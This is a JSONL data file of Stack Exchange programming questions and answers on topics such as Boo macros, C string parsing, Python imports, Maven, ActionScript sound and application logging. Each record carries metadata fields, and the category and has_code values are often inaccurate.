{"id": "hf_aea7d97d885e", "question": "<p>I'm looking to move some of my lighter weight metaprogramming from Nemerle to Boo and I'm trying to figure out how to define custom operators.  For example, I can do the following in Nemerle:</p>\n\n<pre><code>macro @&lt;-(func, v) {\n    &lt;[ $func($v) ]&gt;\n}\n</code></pre>\n\n<p>Then these two are equivalent:</p>\n\n<pre><code>foo &lt;- 5;\nfoo(5);\n</code></pre>\n\n<p>I can't find a way of doing this in Boo -- any ideas?</p>\n", "question_body": "", "answer": "I'm not sure if this is exactly what you need but you can create syntactic macros in Boo. There's some information on the CodeHaus site,\nhttp://boo.codehaus.org/Syntactic+Macros\n, but the syntax has changed in one of the recent releases. I don't know of any tutorials on the new syntax but the source release for Boo 0.8.2 has some examples (some of the language structures are implemented as macros). If you don't want to download the full source a view of the SVN repository is available,\nhttps://svn.codehaus.org/boo/boo/trunk/src/Boo.Lang.Extensions/Macros/\n. The assert macro would be a good place to start.\nHTH\nStoo", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.037643"}
{"id": "hf_f05167bec9a0", "question": "<p>I want to do a conditional rendering at the layout level based on the actual template has defined <code>content_for(:an__area)</code>, any idea how to get this done?</p>\n", "question_body": "", "answer": "Ok I am going to shamelessly do a self reply as no one has answered and I have already found the answer :) \nDefine this as a helper method either in application_helper.rb or anywhere you found convenient.\n```\n```\ndef content_defined?(symbol)\n    content_var_name=\"@content_for_\" + \n      if symbol.kind_of? Symbol \n        symbol.to_s\n      elsif symbol.kind_of? String\n        symbol\n      else\n        raise \"Parameter symbol must be string or symbol\"\n      end\n\n    !instance_variable_get(content_var_name).nil?\n\n  end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.061789"}
{"id": "hf_73d63e091c99", "question": "<p>Would this be right??</p>\n\n<ol>\n<li><p>Black Box</p>\n\n<p>1.1 Functional</p>\n\n<pre><code>    1.1.1 Equivalence\n    1.1.2 BVA\n    1.1.3 Use case\n    1.1.4 Regression\n    1.1.5 UAT\n</code></pre>\n\n<p>1.2 Non Functional</p>\n\n<pre><code>    1.2.1 Testing the System Design\n</code></pre></li>\n<li><p>White box</p>\n\n<p>2.1. Functional</p>\n\n<pre><code>       2.1.1 Unit\n       2.1.2 Integration\n       2.1.3 System\n</code></pre></li>\n</ol>\n\n<p><strong>Do the above fall under the right categories?</strong></p>\n\n<p>The reason I ask this is because as a part of a report I was trying to come up with a good reference that categorised Test Techniques well. This is what my analysis and research from various sources gave me. And I hope this is helpful for someone else who might be doing the same research, but if its incorrect it should be updated.</p>\n", "question_body": "", "answer": "You might also consider the case when several programs depending one on another are developed simultaneously. You have then to take into account the\napplicative architecture\nwhich groups all those applications into several\nfunctional domains\nSo, for instance, a financial application having to process a large number of data would be\none\nfunctional domain, in which you would have to develop a:\ndispatcher module in order to process those data on several computers\nGUI in order to see what is going on\nlauncher in order to initiate the right connections retrieve the correct data and format them\nand so on\nBut that would only be\none\nfunctional domain, as others would have to be developed in order to\nexploit the results\nof your programs (for instance, a \"referential domain\" would be there to store those results into various databases, and offer a communication bus for other programs to access them: that would be a second functional domain).\nSo I would add to your tests the following categories:\nAssembly testing\n: when you test within your own functional domain (on an assembly server when you deploy the different applications of your domain, with a set of testing data)\nIntegration testing\n: when you test\nall the applications from all the functional domains\n, which is also called\nfront-to-end testing\n.\nNote: \"integration testing\" is not the same as \"continuous integration testing\", which basically can process the black and white tests you describe, for\none\nprogram, on a very regular basis.\nThe tests I am referring to are executed a few times a week by an:\n\"\nProject Operational Architecture\n\" team of your domain for assembly tests: usually some developers of your team which set up an assembly server, check if the data are up-to-date and deploy the various program you are in charge to develop.\n\"\nProduction Operational Architectural\n\" team, in charge of setting a \"production-like\" environment and who is the only one able to really\ntest\nthe all chain of application from font to back.\nNote: an \"Operation Architecture\" team has the role to \"make operational an execution environment\", meaning to have:\nthe right logistic team contacts in order to have the right servers and networks,\nthe right application teams contacts in order to know about the various start/stop application processes and deployment procedures of\nall\nthe application of your system!\nIn short: your categories are for\none program\n, but when you are developing an IS (Information System), you are forced to acknowledge the fact that you are not talking about \"\none\nexe developed by\none\nteam deployed on\none\nproduction machine\"... and then, welcome to an all new world of testing ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.089915"}
{"id": "hf_4b692ec4bae8", "question": "<p>I have the following character string: </p>\n\n<pre><code>\"..1....10..20....30...40....50...80...\" \n</code></pre>\n\n<p>and I need to extract all numbers from it into array. </p>\n\n<p>What is the best way to do it in C? </p>\n", "question_body": "", "answer": "Perhaps the easiest way is to use the\n```\nstrtok()\n```\nfunction (or\n```\nstrtok_r()\n```\nif reentrancy is a concern):\n```\n```\nchar str[] = \"..1...10...20\";\nchar *p = strtok(str, \".\");\nwhile (p != NULL) {\n    printf(\"%d\\n\", atoi(p));\n    p = strtok(NULL, \".\");\n}\n```\n```\nOnce you have the results of calling\n```\natoi()\n```\n, it should be a simple matter to save those integers into an array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.115676"}
{"id": "hf_f7aa55b4f627", "question": "<p>After having looked at each of these two projects, it seems that both are VERY similar. Both run on top of the CLI, both have python style syntax, both use .NET instead of the standard python libraries.</p>\n\n<p>So, what are the differences between them and advantages of each?</p>\n", "question_body": "", "answer": "The main difference as I see it is that Boo is statically typed, meaning the type of a variable is inferred on its first assignment and is fixed from there - while IronPython has the \"real\" dynamic behaviour of normal Python code.\nIronPython\nis officially maintained by Microsoft now and\ntargets the new Dynamic Language Runtime in version 2.0. I suspect because of it's statically typed nature Boo might be faster. I don't have much \"real\" experience with that though ...\nIronPython also reimplements lots of the python standard library so you can run lots of python software without change on IronPython (e.g.\nDjango\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.150857"}
{"id": "hf_6f792c14fee5", "question": "<p>I'm trying to write a simple game/utility to calculate poker odds.  I know there's plenty of <a href=\"http://wikipedia.org/wiki/Poker_probability_(Texas_hold_&#39;em)\" rel=\"noreferrer\">resources</a> that talk about the formulas to do so, but I guess I'm having trouble translating that to code.  Particularly, I'm interested in Texas Hold-em ...</p>\n\n<p>I understand that there are several different approaches, one being that you can calculate the odds that you will draw some hand based on the cards you can see.  The other approach is calculating the odds that you will win a certain hand.  The second approach seems much more complex as you'd have to enter more data (how many players, etc.)</p>\n\n<p>I'm not asking that you write it for me, but some nudges in the right direction would help :-)</p>\n", "question_body": "", "answer": "Here are some links to articles, which could help as starting points:\nPoker Logic in C#\nand\nFast, Texas Holdem Hand Evaluation and Analysis\n\"This code snippet will let you calculate poker probabilities the hard way, using C# and .NET.\"\nThe theoretical fundamentals are given in this\nWikipedia article about Poker Probabilities\nand in this excellent\nstatistical tutorial\n.\nAn example of a complete project written in Objective-C, Java, C/C++ or Python is found at\nSpecialKEval\n. Further links and reading can be found therein.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.211018"}
{"id": "hf_8609e4ad97c5", "question": "<p>I am a little confused by the multitude of ways in which you can import modules in Python.  </p>\n\n<pre><code>import X\nimport X as Y\nfrom A import B\n</code></pre>\n\n<p>I have been reading up about scoping and namespaces, but I would like some practical advice on what is the best strategy, under which circumstances and why.  Should imports happen at a module level or a method/function level?  In the <code>__init__.py</code> or in the module code itself?</p>\n\n<p>My question is not really answered by \"<a href=\"https://stackoverflow.com/questions/45122/python-packages-import-by-class-not-file\">Python packages - import by class, not file</a>\" although it is obviously related.</p>\n", "question_body": "", "answer": "I would normally use\n```\nimport X\n```\non module level. If you only need a single object from a module, use\n```\nfrom X import Y\n```\n.\nOnly use\n```\nimport X as Y\n```\nin case you're otherwise confronted with a name clash.\nI only use imports on function level to import stuff I need when the module is used as the main module, like:\n```\n```\ndef main():\n  import sys\n  if len(sys.argv) > 1:\n     pass\n```\n```\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.242679"}
{"id": "hf_76465468c9a1", "question": "<p>What is the difference between the CIL instructions \"Call\" and \"Callvirt\"?</p>\n", "question_body": "", "answer": "```\ncall\n```\nis for calling non-virtual, static, or superclass methods, i.e., the target of the call is not subject to overriding.\n```\ncallvirt\n```\nis for calling virtual methods (so that if\n```\nthis\n```\nis a subclass that overrides the method, the subclass version is called instead).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.268547"}
{"id": "hf_eb3fdc507689", "question": "<p>How flexible should a programmer be if a client requests requirements that is not in the project scope?</p>\n", "question_body": "", "answer": "This question cannot be given a blanket answer. It depends project to project.\nExamples:\nClient has money to burn, long timeline, no other projects on the go, I am very flexible.\nClient is tight with $$, short timeline, other projects on the go, I am hardly flexible at all.\nOther factors come into play as well, such as the process that has been chosen for the project. For example, you will be more flexible in an agile process, less flexible in a waterfall approach.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.299120"}
{"id": "hf_bac831b97b27", "question": "<p>Through some bungling in creating and removing publications, I was left with a lot of obsolete publications which for some reason still remains in the Replication Monitor.  </p>\n\n<p>How do you remove these publications? It doesn't seem to have a clear way to remove them.</p>\n", "question_body": "", "answer": "This is an old question of mine, but then again at least I found a way to resolve it.\nI was able to remove the publications is by creating a new publication with the same name, then delete the publication again. This time the publication will no longer appear in the Replication Monitor. I did not remember if the publication has to be the same type as the obsoleted one, but it works.\nUPDATE:\nOkay, the publication type and database name is important, otherwise the newly created publication will be considered as a different publication. Kinda obvious, but now I'm sure of it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.430521"}
{"id": "hf_df255bfa475c", "question": "<p>Say I've got a string which contains a number. I want to check if this number is an integer.</p>\n<h3>Examples</h3>\n<pre><code>IsInteger(&quot;sss&quot;) =&gt; false \n\nIsInteger(&quot;123&quot;) =&gt; true\n\nIsInterger(&quot;123.45&quot;) =&gt;false\n</code></pre>\n", "question_body": "", "answer": "You can use int.\nTryParse\n. It will return a bool if it can parse the string and set your out parameter to the value\n```\n```\nint val;\nif(int.TryParse(inputString, out val))\n{\n    //dosomething\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.463318"}
{"id": "hf_5ea4853e6cb4", "question": "<p>I'd like to track changes in inputs in a form via javascript. My intent is (but not limited) to</p>\n\n<ul>\n<li>enable \"save\" button only when something has changed</li>\n<li>alert if the user wants to close the page and something is not saved</li>\n</ul>\n\n<p>Ideas?</p>\n", "question_body": "", "answer": "Loop through all the input elements, and put an\n```\nonchange\n```\nhandler on each. When that fires, set a flag which lets you know the form has changed. A basic version of that would be very easy to set up, but wouldn't be smart enough to recognize if someone changed an input from \"a\" to \"b\" and then back to \"a\". If it were important to catch that case, then it'd still be possible, but would take a bit more work.\nHere's a basic example in jQuery:\n```\n```\n$(\"#myForm\")\n    .on(\"input\", function() {\n        // do whatever you need to do when something's changed.\n        // perhaps set up an onExit function on the window\n        $('#saveButton').show();\n    })\n;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.496442"}
{"id": "hf_3bb23bbb0407", "question": "<p>I am writing a script that powers on a system via network.  And then i need to run a few commands on the other host. How do I know whether the system has powered on?</p>\n\n<p>My programming language is Perl and the target host is RHEL5.</p>\n\n<p>Is there any kernel interrupt or network boot information that indicates the system has powered on and the os has loaded?</p>\n\n<p>[In a different scenario] I was also wondering just in case if i just switch on my Machine manually. when is it exactly said to have powered on. and when is the OS is supposed to have booted completely for a network related operation such as executing a network command there. What if the system is on DHCP how would a remote system then search for this machine [i guess it is possible via mac address. but if i am wrong ].</p>\n\n<p>If I have missed out any info please feel free to ask me. If you have any suggestions to make the task easier please surface them :) </p>\n\n<p>thanx\nimkin</p>\n", "question_body": "", "answer": "Well, I'd say the system is booted when it can perform the request you've made of it.  That is, the sshd daemon is running.  That's booted sufficiently for your purposes (I assume - substitute for whatever daemon you really need).\nSo, I'd send the power-on signal, and check back every 15-30 seconds to see if I could connect.  If I've failed to connect within whatever is a reasonable time for that machine (2 minutes or 5 minutes or whatever), then I'd send an alert to the IT support team.  Well, I'd send it to myself first, and only once I've investigated a few failures or so and found them to all be legitimate would I start sending it directly to IT.\nDHCP is kind of a different question.  You'd have to start learning about broadcasting, or having a daemon on that machine \"call home\" during boot to register its current IP address.  And it would have to \"call home\" every time a DHCP renewal changed its IP address.  This is decidedly more convoluted.  Try to avoid DHCP on such server machines if at all possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.531059"}
{"id": "hf_ef96817cd0f2", "question": "<p>At the team with which I work, we have an old codebase using PHP's ibase_* functions all over the code to communicate with database. We created a wrapper to it that would do something else beside just calling the original function and I did a mass search-replace in the entire code to make sure that wrapper is used instead.</p>\n\n<p>Now, how do we prevent usage of ibase_* functions in the future?</p>\n\n<p>Preferably, I'd like to still have them available, but make it throw a NOTICE or WARNING when it is used.</p>\n\n<p>A solution in pure PHP (not needing to compile a custom version of PHP) is preferred.</p>\n", "question_body": "", "answer": "I haven't checked it by myself, but found this in my bookmarks:\nhttp://wiki.php.net/rfc/e-user-deprecated-warning\nEdit: Okay this doesn't work yet - so instead of E_USER_DEPRECATED just use something like E_USER_NOTICE:\n```\n```\n<?php\nclass Foo\n{   \n    public function __construct()\n    {\n        trigger_error('Use Bar instead', E_USER_NOTICE);\n    }\n}\n\n$foo = new Foo()\n```\n```\nThis will end up with this:\n```\n```\nNotice: Use Bar instead in /home/unexist/projects/ingame/svn/foo.php on line 6\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.555497"}
{"id": "hf_05a34d07e632", "question": "<p>From my small amount of experience, I've only used Ant as a build tool. Are there any other projects which are better, and why?</p>\n", "question_body": "", "answer": "Maven\nIt is much better than ant because for most common tasks you don't have to write a complicated build.xml, maven has very good defaults and it's all convention over configuration.\nIt has also a big central repository of libraries and it's very easy to configure it to, like, \"use latest stable commons-whatever\". Maven will then download the latest stable version for you (no more checking in jars into VCS) and if a new upstream stable version is released, it will download it as well. Of course, it's just as easy to lock it to some specific version should you need that.\nIt is also well integrated both with Netbeans and Eclipse (m2eclipse plugin) so the IDE honors whatever settings (including dependencies) you declare in the pom.xml file.\nThere are also some downsides to maven: some plugins are rather poorly documented, integration with both IDEs is not really perfect, and that in different ways, some error messages may be hard to understand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.579911"}
{"id": "hf_a2e3dd1311af", "question": "<p>How to check reliably if a SoundChannel is still playing a sound? </p>\n\n<p>For example,</p>\n\n<pre><code>[Embed(source=\"song.mp3\")]\nvar Song: Class;\n\nvar s: Song = new Song();\nvar ch: SoundChannel = s.play();\n\n// how to check if ch is playing?\n</code></pre>\n", "question_body": "", "answer": "I've done a little research and I can't find a way to query any object to determine if a sound is playing. You'll have to write a wrapper class and manage it yourself it seems.\n```\n```\npackage\n{\n    import flash.events.Event;\n    import flash.media.Sound;\n    import flash.media.SoundChannel;\n\n    public class SoundPlayer\n    {\n        [Embed(source=\"song.mp3\")]\n        private var Song:Class;\n\n        private var s:Song;\n        private var ch:SoundChannel;\n        private var isSoundPlaying:Boolean;\n\n        public function SoundPlayer()\n        {\n            s = new Song();\n            play();\n        }\n\n        public function play():void\n        {\n            if(!isPlaying)\n            {\n                ch = s.play();\n                ch.addEventListener(\n                    Event.SOUND_COMPLETE,\n                    handleSoundComplete);\n                isSoundPlaying = true;\n            }\n        }\n\n        public function stop():void\n        {\n            if(isPlaying)\n            {\n                ch.stop();\n                isSoundPlaying = false;\n            }\n        }\n\n        private function handleSoundComplete(ev:Event):void\n        {\n            isSoundPlaying = false;\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.628335"}
{"id": "hf_6bcb902c8b70", "question": "<p><em>With the popularity of the Apple iPhone, the potential of the Microsoft <a href=\"http://www.microsoft.com/surface/index.html\" rel=\"noreferrer\">Surface</a>, and the sheer fluidity and innovation of the interfaces pioneered by Jeff Han of <a href=\"http://link.brightcove.com/services/link/bcpid713271701/bclid713073346/bctid709364416\" rel=\"noreferrer\">Perceptive Pixel</a> ...</em></p>\n<h3>What are good examples of Graphical User Interfaces which have evolved beyond the</h3>\n<h3>Windows, Icons, ( Mouse / Menu ), and Pointer paradigm ?</h3>\n", "question_body": "", "answer": "Are you only interested in GUIs?  A lot of research has been done and continues to be done on\ntangible interfaces\nfor example, which fall outside of that category (although they can include computer graphics).  The\nUser Interface Wikipedia\npage might be a good place to start.  You might also want to explore the\nACM CHI Conference\n.  I used to know some of the people who worked on zooming interfaces; the\nHuman Computer Interaction Lab an the University of Maryland\nalso has a bunch of links which you may find interesting.\nLastly I will point out that a lot of innovative user interface ideas work better in demos than they do in real use.  I bring that up because your example, as a couple of commenters have pointed out, might, if applied inappropriately, be tiring to use for any extended period of time.  Note that light pens were, for the most part, replaced by mice.  Good design sometimes goes against naive intuition (mine anyway).  There is a nice\nrant\non this topic with regard to 3d graphics on\nuseit.com\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.652482"}
{"id": "hf_6271dce36577", "question": "<p>I'm using:</p>\n\n<pre><code>FileInfo(\n    System.Environment.GetFolderPath(\n        System.Environment.SpecialFolder.ProgramFiles) \n    + @\"\\MyInstalledApp\"\n</code></pre>\n\n<p>In order to determine if a program is detected on a users machine (it's not ideal, but the program I'm looking for is a right old kludge of a MS-DOS application, and I couldn't think of another method).</p>\n\n<p>On Windows XP and 32-bit versions of Windows Vista this works fine. However, on x64 Windows Vista the code returns the x64 Program Files folder, whereas the application is installed in Program Files x86. Is there a way to programatically return the path to Program Files x86 without hard wiring \"C:\\Program Files (x86)\"?</p>\n", "question_body": "", "answer": "One way would be to look for the \"ProgramFiles(x86)\" environment variable:\n```\n```\nString x86folder = Environment.GetEnvironmentVariable(\"ProgramFiles(x86)\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.682973"}
{"id": "hf_b89f145eb8fd", "question": "<p>I asked before about pixel-pushing, and have now managed to get far enough to get noise to show up on the screen. Here's how I init:</p>\n\n<pre><code>CGDataProviderRef provider;\nbitmap = malloc(320*480*4);\nprovider = CGDataProviderCreateWithData(NULL, bitmap, 320*480*4, NULL);\nCGColorSpaceRef colorSpaceRef;\ncolorSpaceRef = CGColorSpaceCreateDeviceRGB();\nir = CGImageCreate(\n320,\n480,\n8,\n32,\n4 * 320,\ncolorSpaceRef,\nkCGImageAlphaNoneSkipLast,\nprovider,\nNULL,\nNO,\nkCGRenderingIntentDefault\n);\n</code></pre>\n\n<p>Here's how I render each frame:</p>\n\n<pre><code>for (int i=0; i&lt;320*480*4; i++) {\nbitmap[i] = rand()%256;\n}\nCGRect rect = CGRectMake(0, 0, 320, 480);\nCGContextDrawImage(context, rect, ir); \n</code></pre>\n\n<p>Problem is this is awfully awfully slow, around 5fps. I think my path to publish the buffer must be wrong. Is it even possible to do full-screen pixel-based graphics that I could update at 30fps, without using the 3D chip?</p>\n", "question_body": "", "answer": "I suspect doing 614400 (\n```\n320*480*4\n```\n) memory writes, random number generation and making a new object each frame is slowing you down.\nHave you tried just writing a static bitmap to screen and seeing how fast that is? Have you perhaps tried profiling the code? Do you also need to make a new CGRect each time?\nIf you just want to give the effect of randomness, there is probably no need to regenerate the entire bitmap each time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.720132"}
{"id": "hf_e5e63aae809f", "question": "<p>I have a 2 dimensional array, like so:</p>\n\n<pre><code>char[,] str = new char[2,50];\n</code></pre>\n\n<p>Now, after I've stored contents in both str[0] and str[1], how do I store it in a </p>\n\n<pre><code>string[] s = new string[2];\n</code></pre>\n\n<p>?</p>\n\n<p>I tried </p>\n\n<pre><code>s[0] = str[0].ToString();\n</code></pre>\n\n<p>but that seems to be an error: VC# expects 'two' indices within the braces, which means I can convert only a character from the array. Is there a way to convert the entire str[0] to a string? Or is changing it to a jagged array the only solution?</p>\n", "question_body": "", "answer": "Assuming the dimensions are fixed as 2x50:\n```\n```\nchar[,] str = new char[2,50];\n\n// populate str somehow\n\n// chose which of the strings we want (the 'row' index)\nint strIndex = 0;\n// create a temporary array (faster and less wasteful than using a StringBuilder)\nchar[] chars = new chars[50];\nfor (int i = 0; i < 50; i++)\n  chars[i] = str[strIndex, i];\nstring s = new string[chars];\n```\n```\nThis would be easier and more performant if you used a jagged array:\n```\n```\nchar[][] str = new char[2][];\n```\n```\nThen you could write:\n```\n```\nstring s = new string(characters[0]);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.828777"}
{"id": "hf_d763c90365d3", "question": "<p>I am currently working on a rather large multi tiered app that will be deployed overseas.  Although I hope it won't fall over or blow up once depolyed I can't be 100% sure of this.  Therefore it would be nice to know that I could request the log file, to work out exactly what went wrong and why.</p>\n\n<p>So basically as the title suggests I would like to know when and what to log?  I would like to know this to ensure I have comprehensive log files that can be examined easily to determine what has happened if my app falls over.</p>\n", "question_body": "", "answer": "1 - Make a single log, with a standardized format. Doesn't matter much what it is, but ensure that ever entry has the same basic fields. Just calling \"printf\" probably won't cut it ( substitute System.err.println or whatever as appropriate )\n2 - Allow for at least one field to be an arbitrary string... the developer will know better then you what needs to be there.\n3 - Include a high resolution time-stamp on each entry. You will need it eventually, trust me.\n4 - If possible, include the file and line number of the origin of the error. That's easy in C, and a bit of a pain in Java. But it's\nincredibly\nuseful later on, especially when people start to cut+paste code, including the error messages.\n5 - Ensure the log is at a place that any level of the code can use it.\n6 - I've often used \"Primary\" and \"Secondary\" error tags, where \"Primary\" means \"I'm the guy who detected there is a problem\", and \"Secondary\" means \"I called a function which reported an error\". That makes it easy to find the source of the problem ( \"Primary: file not found\" ) and still report the meaning of the error ( \"Secondary: can't load calibration table\" ).\n7 - Include some capability to log non-errors as well as errors.\nThe hardest part I find is when an error isn't necessarily an error. If you call a function with a file, and the file doesn't exists, is that an error that should be logged or not? Sometimes it's a critical failure, and sometimes it's expected. It's pretty much up to the API of the function; if the function has a way to return an error,  I will usually have it do that without logging; then it's the job of the higher level code to decide if it needs to report that error or if it is expected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.890119"}
{"id": "hf_bd4e93b783e0", "question": "<p>I have a domain class containing a couple of fields. I can access them from my .gsps. I want to add a method to the domain class, which I can call from the .gsps (this method is a kind of virtual field; it's data is not coming directly from the database).</p>\n\n<p>How do I add the method and how can I then call it from the .gsps?</p>\n", "question_body": "", "answer": "To add a method, just write it out like you would any other regular method. It will be available on the object when you display it in your GSP.\n```\n```\ndef someMethod() {\n  return \"Hello.\"\n}\n```\n```\nThen in your GSP.\n```\n```\n${myObject.someMethod()}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.951663"}
{"id": "hf_33b980b113f2", "question": "<p>I have an HTML page (say welcome.html) which contains an iframe to a page I have no control over (say app.html).  The user performs some actions using the app within the iframe and clicks submit.  Once they do this, they are taken to a new page (say thanks.jsp), which loads within the iframe.  Is there a way in which I can force thanks.jsp to load in the full frame and not the iframe once submit is clicked?  Remember, I have no control over the logic behind that Submit button or app.html.  I do however have control over welcome.html and thanks.jsp.  If possible, I would like to stick with HTML and/or JavaScript.  Thank you in advance.</p>\n", "question_body": "", "answer": "You probably want to use a framebuster, with a base target in case it fails.\nFirst:\nIf\n```\nthanks.jsp\n```\nis requested via a post request - redirect so it you present the page as the response to a get request.\nThen:\nInclude framebuster JavaScript:\n```\n```\n<script type=\"text/javascript\">\n   if (self != top) { top.location.replace(location); }\n</script>\n```\n```\nFinally:\nIn case the user doesn't have JavaScript enabled, make sure they don't stay in the frame any longer then they have to:\n```\n```\n<base target=\"_top\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:29.987121"}
{"id": "hf_89d3bad4ab2e", "question": "<p>Given a heapdump or a running VM, how do I discover what the contents of the permanent generation is ? I know about 'jmap -permstat' but that's not available on Windows.</p>\n", "question_body": "", "answer": "you can use JConsole or jvisualvm.exe(with jdk 1.6 7) to find what is where. If you want to know how all of your objects are related to each other and tree of objects, then you might want to try Eclipse Memory Analyzer --\nhttp://www.eclipse.org/mat/\n.\nIN summary, you will get want you want from \"\nhttp://www.eclipse.org/mat/\n\".\nGood luck,", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.100585"}
{"id": "hf_9a65d66ba99e", "question": "<p>How can i release the memory that I used for a variable (e.g. a long string) in C?</p>\n", "question_body": "", "answer": "Assuming that you allocated the memory dynamically (using\n```\nmalloc\n```\nor another memory allocator) you free it using\n```\nfree\n```\n. If the memory was statically allocated, you can't free it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.151403"}
